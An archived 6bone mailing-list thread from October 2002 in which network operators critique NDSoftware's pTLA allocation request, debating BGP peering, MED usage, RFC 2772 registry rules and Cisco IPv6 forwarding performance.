> play with my FisherPrice routers and i destroy all 6bone.
> 

I hope you don't mind but, I'm going to use that in my signature line from
now on.  It's so funny!  


> ---
> 
> Why NDSoftware collecting tunnels and BGP sessions ?
> 
> It's for do a lot of tests.
> 

OK.  You've got our attention.  I'm always interested in gadgets, tests,
new innovations.  What kind of tests are you performing?  Have you
documented any of them?  Have you or do you plan to publish your results
to the public?

> ---
> 
> Does NDSoftware have a bad routing ?
> 
> No, we use MED.
> 
> Our MED for tunnels:
> 
> 500: - 10 ms
> 510: 10 - 25 ms
> 520: 25 - 50 ms
> 530: 50 - 100 ms
> 540: + 100 ms
> 

Nicolas,

The use of Multi Exit Discriminator does not in and of itself all of the
sudden mean your routing != BAD or sub-optimal.

I'm not saying that your routing IS sub-optimal but, I will certainly say
that I believe you have gone WAY overboard with the number of _UPSTREAM_
tunnels you have.  If you had 101 downstream peers, we'd all be jumping
for joy at your request for a pTLA.


> A lot of pTLA and sTLA don't use MED, we use MED for have a good
> quality.
> 
> We use too "bgp always-compare-med" of course.
> 

The use or lack of use of the MED attribute does NOT in and of itself
equal good routing.

> ---
> 
> NDSoftware routers have many BGP peer down, why ?
> 
> We do a migration (for the moment only parcr2.fr.ndsoftwarenet.net and
> route-server.ndsoftwarenet.net), we change AS65526 to AS25358.
> 

You know Nicolas, the last time I would start doing service effecting
maintenance is right before I knew someone was going to start looking at
our network under a magnifying glass.  There are graceful ways to achieve
exactly what you are trying to achieve.  You simply have opted not to do
so.


> ---
> 
> Why NDSoftware need a pTLA ?
> 
> A lot of peers filter our /32 because it's not a pTLA. 
> We want a pTLA for can announce without any problems our network, don't
> break the IPv6 aggregation and be independant of a upstream (we don't
> want be down because our upstream is down).

I understand that you _WANT_ a pTLA.

> 
> All ISP/company/project who provide IPs to another ISP/company/project
> and have many upstream MUST have a pTLA/sTLA.

Wow.  That is a pretty broad statement and does not hold true in
practice. 


> 
> In http://www.6bone.net/6bone_pTLA_list.html, a lot of pTLA aren't used
> or are used only for a /48 and/or have only one upstream.
> 
> An exemple: MOTOROLA-LABS, have only one upstream. Do you think that
> they need a pTLA ? If their upstream is down, this pTLA is not anymore
> announced. MOTOROLA-LABS don't provide IPs and a /48 is enough for their
> activity...

As has already been stated, Motorola-Labs has many, many, MANY
"internal" customers.  With several THOUSAND locations, world-wide, I am
quite certain that once their v6 network is fully deployed, they will have
made appropriate use of their pTLA.

There is no requirement that pTLAs have more than one connection into the
backbone.  And just so you know, at the pTLA/sTLA - pTLA/sTLA peering
level, we peer in the horizontal plane, not the vertical plane.


> 
> NDSoftware provide IPs to another ISP/company/project and have many
> upstream...
> 

OK.  And this is appropriate justification for a pTLA?

> Does NDSoftware plan to be LIR at the RIPE ?
> 
> Yes, it's planned.
> We will be LIR when our ISP activity will be stable.
> 

Again, I reference your previous email at 
http://mailman.isi.edu/pipermail/6bone/2002-October/006348.html

"=> How get an ASN for our new IPv6 network ?
(we don't want do IPv4 network)"

The lack of a v4 network is going to put a serious hurt on any plans you
have to become an LIR or for that matter, an ISP by many definitions.

> ---
> 
> Why NDSoftware will close peering with private ASN ?
> 
> We have 101 BGP4+ peers, our current routers are full (zebra is very
> unstable if we add new peer) and we want get new peer with other
> pTLA/sTLA that we can't get with our old private ASN.
> 
> We have choose to delete all peers with private ASN for free BGP session
> on our routers for this new peers.

Nicolas, didn't we already point out that you don't have 101 BGP4+
sessions?  You _had_ 93 sessions when we counted them this
morning.  Believe me.  The number is high enough with artificial inflation
on your part.

Now that we have that said, I submit again, that if you are going to be a
viable pTLA, you'll build another router.  Good grief!  You can build a
KICK-BUTT tunnel endpoint router for $200USD!  If you're already too full
to maintain your current peering obligations while bringing on requisite
lateral peers, and you won't build a new router to accomodate additional
peers, just how is it that you're going to make use of your pTLA?   

> 
> We don't delete peers with private ASN because "private ASN sucks", we
> keep peering with important private ASN like NextGenCollective or
> IPNG-UK (this 2 projects projet provide a lot of tunnels to users). I
> understand their status, it's why i keep peering with them.
> 
> We will try to find a solution before the 23th October for keep peer
> with all private ASN.
> 

Simple solution.  If your router is overloaded, for whatever reason, you
build another one.  That's how you build a _network_ of routers.  Do you
see a cause and effect relationship here?

> 
> I have an anoter question...
> 
> Ask to nicolas.deffayet@ndsoftware.net
> with a CC to fink@es.net 
> 

If I had to venture a guess, I would say that Bob would rather have any
discussions on the List and as such, until instructed otherwise by Bob, I
will continue to post my questions to the list.


---
John Fraizer
EnterZone, Inc


"I'm Nicolas DEFFAYET, i have 4 years, i got every day to school, and i
play with my FisherPrice routers and i destroy all 6bone." - Nicolas
DEFAYET, 20 October 2002.



From tvo@EnterZone.Net Sun Oct 20 19:55:02 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On 20 Oct 2002, Nicolas DEFFAYET wrote:

> > > All tech contact in NDSoftware's whois have a root access on each
> > > routers. They understand v4/v6 routing, unix administration,... 
> > > 
> > 
> > Wow.  You're a trusting soul there.  SUDU is your friend, Dude.  You might
> > want to look at the man page for it.
> 
> Sudo is very limited.
> We trust our technical staff.

Sudu will do anything you tell it to do.  That is moot though.  I didn't
expect you to take advise from those who have been running production
networks for a decade.


> > week because our routers are overloaded with BGP sessions.  We've decided
> > to drop all of our BGP peers who are using reserved ASNs." -- Something
> > like that?
> 
> Now, please forgot the problem of delete of peer with private ASN on our
> routers.
> 
> It's not a world and public problem.

Nicolas, welcome to the real world.  You desire to become an equal peer
with other pTLA/sTLA entities.  You want to join the elite Default Free
Zone club.  I am happy to say that we _do_ have some standards and those
who don't meet those standards are, in my humble opinion, not welcome.

Your treatment of your CURRENT peers is the only guideline we have to go
on to determine how tactfully you may interact with other DFZ peers.

> > > Ops, fixed. 
> > > 
> > > I have forgot to add "ifconfig lo add 3ffe:81f1:2:1::1/64" in the init
> > > scripts of parcr1.fr.ndsoftwarenet.net. 
> > 
> > Wow.  I can't imagine trying to explain that to one of my customers.  This
> > is all about attention to detail Nicolas.  So, you get your own pTLA and
> > people start actually listening to and propagating your announcements and
> > you "forget" a little thing like applying an access-list or route-map to
> > a peering session.  Guess what?  Your lack of attention to detail does
> > more than embarrass you.  It can cause service effecting outages for a
> > whole ton of OTHER people.
> 
> 
> All humains do errors.
> You have do too many errors...

Sorry Nicolas.  I hate to break it to you.  You're not going to find an
instance where my lack of attention to detail has caused routing
instability for ANYONE.  Yes.  I have made errors in my lifetime but, when
it comes to routing, _REAL_ engineers check their work.

> 
> > role:         IPv6-FR NOC
> > address:      IPv6-FR
> > address:      57 rue du president Wilson
> > address:      92300 Levallois-Perret
> > address:      France
> > phone:        +33 671887502
> > 
> > role:         NDSoftware NOC
> > address:      NDSoftware
> > address:      57 rue du president Wilson
> > address:      92300 Levallois-Perret
> > address:      France
> > phone:        +33 671887502
> > 
> > 
> > I'm sorry Nicolas.  Providing address space to YOURSELF doesn't
> > count!  Sheesh! 
> 
> 
> NDSoftware and IPv6-FR are in the same building but aren't the same
> legal organization.
> I'm a network administrator for the both.

And would this be your home by some strange coincidence?

> > Don't you think that a tunnel-broker housed in Wichita, KS, USA would be
> > better served by a 6bone pTLA *IN* the USA?  Also, with your current
> > peering policy change, isn't this site going to get NIXED?  I note their
> > use of a Reserved ASN.
> 
> They don't find any help somewhere...
> 
> We don't only provide a block, we provide a small tech support, help in
> tunnel and zebra configuration,....

They didn't look very hard.


> > 
> > Now, since you obviously don't care if your peers maintain their ipv6-site
> > objects or even HAVE them for that matter, how is it that you are abiding
> > by RFC2772, Section 5?
> > 
> 
> Check all others pTLA request, you have the same problem.
> 
> You can't force a peer to register a whois entry...
> 
> Our whois is always updated.


(1) We're not talking about other peoples pTLA request.  We're talking
about YOURS.

(2) We do NOT have the same problem with the ipv6-site object.  There may
be discrepancy of listed routing protocols or the other site may not have
UPDATED _THEIR_ ipv6-site object but, the ENTERZONE ipv6-site object does
NOT reference NON-EXISTENT objects as yours does.  Referencing
non-existent objects simply pollutes the 6bone database with inaccurate
information.

(3) You are correct.  You can't force a peer to register a whois
entry.  You *CAN* refuse to peer with entities who refuse to register, at
minimum, IPv6-site, Inet6num and Mntner objects as specifically _REQUIRED_
by section 5 of RFC2772.  If they have a problem with this policy, you can
simply point them to the RFC and tell them that if you peer with them, you
have to create an entry in your ipv6-site object referencing
them.  Without their having _REAL_ objects for you to reference, and
especially if you just make up ipv6-site objects to reference in yours,
you are in violation of RFC2772, section 7, subsection 1, paragraph A.


Let me lead you through Section 9 of RFC2772:

9.  Common rules enforcement for the 6bone

   Participation in the 6Bone is a voluntary and benevolent undertaking.
   However, participating sites are expected to adhere to the rules and
   policies described in this document in order to maintain the 6Bone as
   a quality tool for the deployment of, and transition to, IPv6
   protocols and the products implementing them.

   The following is in support of policing adherence to 6Bone rules and
   policies:

   1. Each pTLA site has committed to implement the 6Bone's rules and
      policies, and SHOULD try to ensure they are adhered to by sites
      within their administrative control, i.e. those to who prefixes
      under their respective pTLA prefix have been delegated.


Hrm...  I'm betting that this applies to your peers who haven't registered
the appropriate objects.




   2. When a site detects an issue, it SHOULD first use the 6Bone
      registry to contact the site maintainer and work the issue.


Now, how do you suppose that I should go about contacting an entity whom I
can NOT look up in the 6bone registry?



   3. If nothing happens, or there is disagreement on what the right
      solution is, the issue SHOULD be brought to the 6Bone Operations
      Group.


Guess what Nicolas.  I detected problems with your application for a
pTLA.  I detected problems with your ipv6-site object referencing
NON-EXISTENT objects.  I brought these issues to your attention.  Nothing
has been done to correct these problems and as a matter of fact, instead
of attending to the problems, you start pointing the finger at everyone
else and then go on to say "you can't force a peer to register a whois
entry."



---
John Fraizer
EnterZone, Inc

"I'm Nicolas DEFFAYET, i have 4 years, i got every day to school, and i
play with my FisherPrice routers and i destroy all 6bone." - Nicolas
DEFFAYET, 20 October 2002.




From pekkas@netcore.fi Mon Oct 21 00:31:17 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Patrick Grossetete <pgrosset@cisco.com>
cc: tdejongh@cisco.com, <gcarvalh@cisco.com>, <jbutler@cisco.com>,
   Paul Aitken <paitken@cisco.com>,
   Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
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Subject: Cisco performance [Re: [6bone] pTLA request NDSOFTWARE - review
 closes 23 October  2002]
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Hello,

To clarify on the list:

I redid the testing w/ ttcp a bit more carefully and I observed that of
7200, 7500 and GSR, the GSR is the slowest platform, capable of only the
stated 26 Mbit/s (in practise, a bit less due to packet drops: we are able
to get a constant 13 Mbit/s TCP stream through it). This should be fixed
with EFT code using CEFv6, but we weren't able to test that.  7500 with
CEFv6 is able to perform at full rate on FastEthernet, and on production
software a bit less than that: at least 50 Mbit/s should still yield
acceptable packet drop levels.

So, the situation is not as bad as first observed (and in all honesty, not
everybody needs to have 10+ Mbit/s grade throughput yet :-), even though
GSR performing worst with production-level features was a bit surprising.

(With "production software" here I mean any publicly available software...
whether it's usable in "production environment" is always a judgment call
:-)

Pekka

On Sun, 20 Oct 2002, Patrick Grossetete wrote:
>          Your comment on the performances is not accurate. You reported a 
> 26 Mb/s throughput using TTCP between
> 2 Linux hosts, asking for feedback about that. We just tested the same 
> configuration but using IXIA traffic generators
> and got different numbers really different from yours. I asked Theo to 
> provide you an official answer, so I expect
> you will update the list later.
> 
> Patrick
> 
> At 02:22 AM 20-10-02 +0300, Pekka Savola wrote:
> >On Sat, 19 Oct 2002, Paul Aitken wrote:
> > > Nicolas DEFFAYET wrote:
> > >
> > > > I don't have Cisco or Juniper routers because i don't have the budget
> > > > for that. You can offer me a Cisco if you want...
> > >
> > > http://www.cisco.com/warp/public/csc/refurb_equipment
> >
> >Well, to be frank, I'm not sure why anyone would want Cisco equipment for
> >IPv6, old or new.  They hardly seem to be able to manage 30 Mbit/s of IPv6
> >traffic :-(.  I guess this is enough for some, for us it isn't :-(.
> >
> >And no, we're not using "crap" (for some, usefull stuf for others) like
> >4x00's, 2x00's etc. like many seem to be doing: rather, like 7200, 7500,
> >12xxx, etc.
> >
> >And yes, I've tried to contact ipv6-support@cisco.com to try to find out
> >whether these are really the bottlenecks, no replies.
> >
> >--
> >Pekka Savola                 "Tell me of difficulties surmounted,
> >Netcore Oy                   not those you stumble over and fall"
> >Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
> >
> >
> >_______________________________________________
> >6bone mailing list
> >6bone@mailman.isi.edu
> >http://mailman.isi.edu/mailman/listinfo/6bone
> 
> ____________________________________________
> Patrick Grossetete
> Cisco Systems
> Internet Technology Division (ITD) - Product Manager
> 			
> Phone/Vmail: 33.1.58.04.61.52	
> Fax: 33.1.58.04.61.00	
> mobile: 33.6.19.98.51.31	
> Email:pgrosset@cisco.com	
> 11 Rue Camille Desmoulins
> 92782 Issy les Moulineaux Cedex 9
> France
> ____________________________________________
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords




From A.Weinberger@ebv.com Mon Oct 21 00:40:41 2002
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hi there,

as pim wrote:

> In short: I oppose to this request also. Please read on.

i oppose to this request, too.

there is imho no need for a pTLA (someone said private tla,
perhabs the better description ;)) or ndsoftware, they aren't
any kind of an isp nor they have a lot of ipv6 customers.

for playing around i think, the /32 are enough (rir space is
also "only" /32, and lot of isp can live quite good from it...).

if any ix (btw, most ix are v6 only, they use a seperate switch)
needs ip addresses, go to the rir and request a /48 for it like
the others.

also, it looks like that ndsoftware wants to collect a lot of
bgp peers to be "kewl". they dont think about routing instability
or bgp flapping - and the effects to the whole ipv6 network
(both 6bone and "rir").

have a nice day,

bye,
::::
:: andreas 'randy' weinberger
::      networking group
:: ebv elektronik gmbh&co. kg
:: mail: a.weinberger@ebv.com
:: phone: +49 (0)8121 774-508

From pgrosset@cisco.com Mon Oct 21 00:47:55 2002
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To: Pekka Savola <pekkas@netcore.fi>
From: Patrick Grossetete <pgrosset@cisco.com>
Subject: Re: Cisco performance [Re: [6bone] pTLA request NDSOFTWARE -
  review closes 23 October  2002]
Cc: tdejongh@cisco.com, <gcarvalh@cisco.com>, <jbutler@cisco.com>,
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         Thanks Pekka for this update. Slightly correction, on Cisco 12000, 
you effectively need an upcoming
release [IOS 12.0(23)S] or its current EFT to take benefit of IPv6 Hardware 
Forwading for the Engine 3. I acknowledge
you didn't get it for your tests, sorry for that.

Regards
Patrick

At 10:30 AM 21-10-02 +0300, Pekka Savola wrote:
>Hello,
>
>To clarify on the list:
>
>I redid the testing w/ ttcp a bit more carefully and I observed that of
>7200, 7500 and GSR, the GSR is the slowest platform, capable of only the
>stated 26 Mbit/s (in practise, a bit less due to packet drops: we are able
>to get a constant 13 Mbit/s TCP stream through it). This should be fixed
>with EFT code using CEFv6, but we weren't able to test that.  7500 with
>CEFv6 is able to perform at full rate on FastEthernet, and on production
>software a bit less than that: at least 50 Mbit/s should still yield
>acceptable packet drop levels.
>
>So, the situation is not as bad as first observed (and in all honesty, not
>everybody needs to have 10+ Mbit/s grade throughput yet :-), even though
>GSR performing worst with production-level features was a bit surprising.
>
>(With "production software" here I mean any publicly available software...
>whether it's usable in "production environment" is always a judgment call
>:-)
>
>Pekka
>
>On Sun, 20 Oct 2002, Patrick Grossetete wrote:
> >          Your comment on the performances is not accurate. You reported a
> > 26 Mb/s throughput using TTCP between
> > 2 Linux hosts, asking for feedback about that. We just tested the same
> > configuration but using IXIA traffic generators
> > and got different numbers really different from yours. I asked Theo to
> > provide you an official answer, so I expect
> > you will update the list later.
> >
> > Patrick
> >
> > At 02:22 AM 20-10-02 +0300, Pekka Savola wrote:
> > >On Sat, 19 Oct 2002, Paul Aitken wrote:
> > > > Nicolas DEFFAYET wrote:
> > > >
> > > > > I don't have Cisco or Juniper routers because i don't have the budget
> > > > > for that. You can offer me a Cisco if you want...
> > > >
> > > > http://www.cisco.com/warp/public/csc/refurb_equipment
> > >
> > >Well, to be frank, I'm not sure why anyone would want Cisco equipment for
> > >IPv6, old or new.  They hardly seem to be able to manage 30 Mbit/s of IPv6
> > >traffic :-(.  I guess this is enough for some, for us it isn't :-(.
> > >
> > >And no, we're not using "crap" (for some, usefull stuf for others) like
> > >4x00's, 2x00's etc. like many seem to be doing: rather, like 7200, 7500,
> > >12xxx, etc.
> > >
> > >And yes, I've tried to contact ipv6-support@cisco.com to try to find out
> > >whether these are really the bottlenecks, no replies.
> > >
> > >--
> > >Pekka Savola                 "Tell me of difficulties surmounted,
> > >Netcore Oy                   not those you stumble over and fall"
> > >Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
> > >
> > >
> > >_______________________________________________
> > >6bone mailing list
> > >6bone@mailman.isi.edu
> > >http://mailman.isi.edu/mailman/listinfo/6bone
> >
> > ____________________________________________
> > Patrick Grossetete
> > Cisco Systems
> > Internet Technology Division (ITD) - Product Manager
> >
> > Phone/Vmail: 33.1.58.04.61.52
> > Fax: 33.1.58.04.61.00
> > mobile: 33.6.19.98.51.31
> > Email:pgrosset@cisco.com
> > 11 Rue Camille Desmoulins
> > 92782 Issy les Moulineaux Cedex 9
> > France
> > ____________________________________________
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
>
>--
>Pekka Savola                 "Tell me of difficulties surmounted,
>Netcore Oy                   not those you stumble over and fall"
>Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords

____________________________________________
Patrick Grossetete
Cisco Systems
Internet Technology Division (ITD) - Product Manager
			
Phone/Vmail: 33.1.58.04.61.52	
Fax: 33.1.58.04.61.00	
mobile: 33.6.19.98.51.31	
Email:pgrosset@cisco.com	
11 Rue Camille Desmoulins
92782 Issy les Moulineaux Cedex 9
France
____________________________________________


From rjorgensen@upctechnology.com Mon Oct 21 01:03:52 2002
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To: 6BONE List <6bone@mailman.isi.edu>
From: Roger Jorgensen <rjorgensen@upctechnology.com>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October
  2002
Cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>, ipv6@aorta.net
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FYI,

NDSOFTWARE only have 99 peers, both of their peers to us,
AS6830/chello/aorta) and AS8733/TVD are being shutdown shortly.

<quote from mail>
Due to conflicts with our internal use of private ASN we have decided to no 
longer
support private ASN peerings with external parties.
</quote>



At 06:25 AM 10/16/2002 -0700, Bob Fink wrote:
>6bone Folk,
>
>NDSOFTWARE has requested a pTLA allocation and I find their request fully 
>compliant with RFC2772. The open review period for this will close 23 
>October 2002. Please send your comments to me or the list.
>
><http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE>
>
><http://noc.ndsoftwarenet.com/>
>
>
>Thanks,
>
>Bob
>
>=====
>>Hello,
>>
>>On behalf of NDSoftware, I would like to submit our application for a
>>pTLA.
>>
>>Best Regards,
>>
>>Nicolas DEFFAYET
>>
>>------------------------------------------------------------------------
>>
>> From RFC 2772
>>
>>
>>7. Guidelines for 6Bone pTLA sites
>>
>>
>>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>>     should be recognized that holders of 6Bone pTLA allocations are
>>     expected to provide production quality backbone network services for
>>     the 6Bone.
>>
>>
>>    1. The pTLA Applicant must have a minimum of three (3) months
>>        qualifying experience as a 6Bone end-site or pNLA transit.
>>During
>>        the entire qualifying period the Applicant must be operationally
>>        providing the following:
>>
>>Our ipv6-site is operational since 17 january 2001 on 6bone.
>>
>>        a. Fully maintained, up to date, 6Bone Registry entries for their
>>           ipv6-site inet6num, mntner, and person objects, including each
>>           tunnel that the Applicant has.
>>
>>http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE
>>
>>
>>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>>           between the Applicant's boundary router and the appropriate
>>           connection point into the 6Bone. This router must be IPv6
>>           pingable. This criteria is judged by members of the 6Bone
>>           Operations Group at the time of the Applicant's pTLA request.
>>
>>We have currently 101 BGP4+ sessions.
>>
>>Our ASN is AS25358:
>>aut-num:      AS25358
>>as-name:      NDSOFTWARE-AS
>>descr:        NDSoftware IP Network
>>
>>We use 2 routers:
>>  - parcr1.fr.ndsoftwarenet.net
>>  - parcr2.fr.ndsoftwarenet.net
>>Looking Glass: http://noc.ndsoftwarenet.com/lg/
>>
>>
>>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>>           entries for the Applicant's router(s) and at least one host
>>           system.
>>
>>We have 3 nameservers:
>>  - ns1.ndsoftwarenet.com
>>  - ns2.ndsoftwarenet.com
>>  - ns3.ndsoftwarenet.com
>>
>>       d. A fully maintained, and reliable, IPv6-accessible system
>>           providing, at a mimimum, one or more web pages, describing the
>>           Applicant's IPv6 services.  This server must be IPv6 pingable.
>>
>>http://noc.ndsoftwarenet.com/
>>
>>    2. The pTLA Applicant MUST have the ability and intent to provide
>>        "production-quality" 6Bone backbone service. Applicants must
>>        provide a statement and information in support of this claim.
>>        This MUST include the following:
>>
>>
>>       a. A support staff of two persons minimum, three preferable, with
>>           person attributes registered for each in the ipv6-site object
>>           for the pTLA applicant.
>>
>>NDN1-6BONE
>>CB2-6BONE
>>BN3-6BONE
>>MM14-6BONE
>>MC7-6BONE
>>
>>       b. A common mailbox for support contact purposes that all support
>>           staff have acess to, pointed to with a notify attribute in the
>>           ipv6-site object for the pTLA Applicant.
>>
>>ipmaster@ndsoftwarenet.com
>>
>>    3. The pTLA Applicant MUST have a potential "user community" that
>>        would be served by its becoming a pTLA, e.g., the Applicant is a
>>        major provider of Internet service in a region, country, or focus
>>        of interest. Applicant must provide a statement and information
>>        in support this claim.
>>
>>NDSoftware operates an IPv6 network and provide a lot of IPv6 services
>>to many projects.
>>
>>We provide to:
>>
>>IPv6-FR (a non profit organisation for the developement of IPv6 in France
>>   200 users, each user have a /48.
>>
>>NexGenCollective (http://www.nexgencollective.net/)
>>   150 users, each user have a /48.
>>
>>ATI (A tunisian ISP, http://www.ipv6net.tn/)
>>
>>and a lot of others (see our whois), this services: IPv6 connectivity
>>(STATIC or BGP with a IPv6 block), IPv6 newsfeeds/newsread,...
>>
>>We do many actions in IPv6 research, we created FNIX6 (French
>>International Internet Exchange IPv6, http://www.fnix6.net/), we host 
>>many mirrors
>>available in IPv6, we created ftp://ftp.openipv6.com/ (a FTP with a lot
>>of IPv6 stuff).
>>
>>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>>        operational rules and policies as they exist at time of its
>>        application, and agree to abide by future 6Bone backbone
>>        operational rules and policies as they evolve by consensus of the
>>        6Bone backbone and user community.
>>
>>
>>We agree to all current and future rules and policies.
>>
>>----
>
>-end
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


---
Roger Jorgensen (rjorgensen@upctechnology.com)
System Engineer @ UPC Technology / IP engineering
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID



From gert@Space.Net Mon Oct 21 01:18:16 2002
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From: Gert Doering <gert@space.net>
To: Bill Manning <bmanning@ISI.EDU>
Cc: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>, 6bone@ISI.EDU
Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
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Hi,

On Sun, Oct 20, 2002 at 05:13:47PM -0700, Bill Manning wrote:
> 	it is true that for L2 fabric, it can be hard to prevent IPv6 or IPv4
> 	from using the fabric.  There are reasons to try and split them however.
> 	This is not the right thread to take on that topic though.
> 	If this is of interest, send a note and I'll forward on the rational.

I'd like to hear more about that.  At the german DE-CIX, we do v6 and v4
on the same mesh, just to make it easy to get v6 native peerings deployed,
and of course I'd like to hear all possible "why" and "why not"'s...

thanks,

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From bortzmeyer@nic.fr Mon Oct 21 01:21:41 2002
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Date: Mon, 21 Oct 2002 10:21:33 +0200
From: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
To: Pim van Pelt <pim@ipng.nl>
Cc: Bob Fink <fink@es.net>, 6BONE List <6bone@mailman.isi.edu>,
   Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On Sun, Oct 20, 2002 at 10:14:45PM +0200,
 Pim van Pelt <pim@ipng.nl> wrote 
 a message of 76 lines which said:

> Last month, I saw a small thread on the lir-wg@ripe.net mailinglist,
> where Nicolas complained in this public forum about the fact that the
> NCC did not grant him an AS number request.

RIPE-NCC gave a stupid reply ("you do not need an AS number for IPv6")
and fixed the mistake afterwards with apologies. In that case, it was
not Nicolas' fault.


From pim@ipng.nl Mon Oct 21 01:28:47 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
Cc: Pim van Pelt <pim@ipng.nl>, Bob Fink <fink@es.net>,
   6BONE List <6bone@mailman.isi.edu>,
   Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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On Mon, Oct 21, 2002 at 10:21:33AM +0200, Stephane Bortzmeyer wrote:
| On Sun, Oct 20, 2002 at 10:14:45PM +0200,
|  Pim van Pelt <pim@ipng.nl> wrote 
|  a message of 76 lines which said:
| 
| > Last month, I saw a small thread on the lir-wg@ripe.net mailinglist,
| > where Nicolas complained in this public forum about the fact that the
| > NCC did not grant him an AS number request.
| 
| RIPE-NCC gave a stupid reply ("you do not need an AS number for IPv6")
| and fixed the mistake afterwards with apologies. In that case, it was
| not Nicolas' fault.
Stephane,

To be frank: the answer was not stupid, nor was there a need to
appologise for it. To run IPv6, one does not need an AS number. One
needs a machine which supports the protocol.

I know of several hundreds of companies and individuals, even ISPs, who
are connected to the internet in another autonomous system. I am not
quite sure on the policies of AS number allocation at the RIPE NCC, but
I am quite sure that to be eligible for an AS number, one must operate
an autonomous system. 

Nevertheless, DEFFAYET is (still) and enduser. Complaining in public
fora is his right (perogative :), but it is not his place to deal with
these matters: his LIR should act on his behalf. I think RIPE NCC should
stick to dealing with their members, not their members' customers.

Anyway, I wish DEFFAYET good luck with deploying his ISP solution and
with his software and webdesign company as well (no pun intended).

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From mohacsi@evil.ki.iif.hu Mon Oct 21 05:31:24 2002
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   6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On Sat, 19 Oct 2002, Nicolas DEFFAYET wrote:

> On Sat, 2002-10-19 at 20:38, Rico Gloeckner wrote:
>
> > Ok, let me rephrase you:
> > | I close tunnels to small local Peers because i want to peer with Large
> > | Peers around the world.
> >
> > Did I understand you correctly?
> >
> > If so, i hope all your Peers will decrease the Priority to you to a very
> > minimum, because this is the best Way to fuck up IPv6-Routing.
>
> I use MED, i don't have a bad routing, you can check:
>
> http://noc.ndsoftwarenet.com/stats/aspath-tree/bgp-page-complete.php
>
> I see all european pTLA/sTLA by European peer,...
>
> My MED for tunnels:
>
> 500: - 10 ms
> 510: 10 - 25 ms
> 520: 25 - 50 ms
> 530: 50 - 100 ms
> 540: + 100 ms
>
> A lot of pTLA and sTLA don't use MED, i use MED for have a good quality.
>

MED is only useful for the same autonomous systems! As its name is
describing: Multiple Exit Discriminator. Do you have more than one tunnel
to the same autonomous systems? I strongly support to have answer to Tim
Chown's questions...

Janos Mohacsi





From tvo@EnterZone.Net Mon Oct 21 06:01:45 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Sabri Berisha <sabri@cluecentral.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On Mon, 21 Oct 2002, Sabri Berisha wrote:

> On 19 Oct 2002, Nicolas DEFFAYET wrote:
> 
> > > - Can't he get some IPv6 space from his upstreams?
> >
> > No, i want announce a pTLA.
> 
> I want a pony. But unless I give a really good reason for it, my
> girlfriend will never allow me to get me one.


And I want a 4-bay vertical array for 160m, and two 96-ft freestanding
towers (you have to have redundancy ya know) each with a FluidMotion
SteppIR 3-element 20m-6m yagi, an M2 80M3LLA 3-element 80m yagi and an M2
40M4LLDD 4-element 40m yagi, all fed with 1-7/8 hardline, positioned by an
M2 OR2800P-DC prop-pitch positioner with with the set capable of being
operated as a phased array.

You arrange that and I'll support the NDSoftware pTLA request - screw the
rest of you!  I want my antenna farm!

Bwahahahahah!

-.-  -.-.  ....-  -.-  --.  ..-



From d.alligand@pobox.com Mon Oct 21 07:11:05 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October
  2002
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>
> >
> > > role:         IPv6-FR NOC
> > > address:      IPv6-FR
> > > address:      57 rue du president Wilson
> > > address:      92300 Levallois-Perret
> > > address:      France
> > > phone:        +33 671887502
> > >
> > > role:         NDSoftware NOC
> > > address:      NDSoftware
> > > address:      57 rue du president Wilson
> > > address:      92300 Levallois-Perret
> > > address:      France
> > > phone:        +33 671887502
> > >
> > >
> > > I'm sorry Nicolas.  Providing address space to YOURSELF doesn't
> > > count!  Sheesh!
> >
> >
> > NDSoftware and IPv6-FR are in the same building but aren't the same
> > legal organization.
> > I'm a network administrator for the both.
>
>And would this be your home by some strange coincidence?

Strange ain't it ;-)

Ndsofware does not seems to exist in the French registration company, and 
when i have a look at this address i can only find out: Deffayet Jean-Yves 
(nicolas'father?)

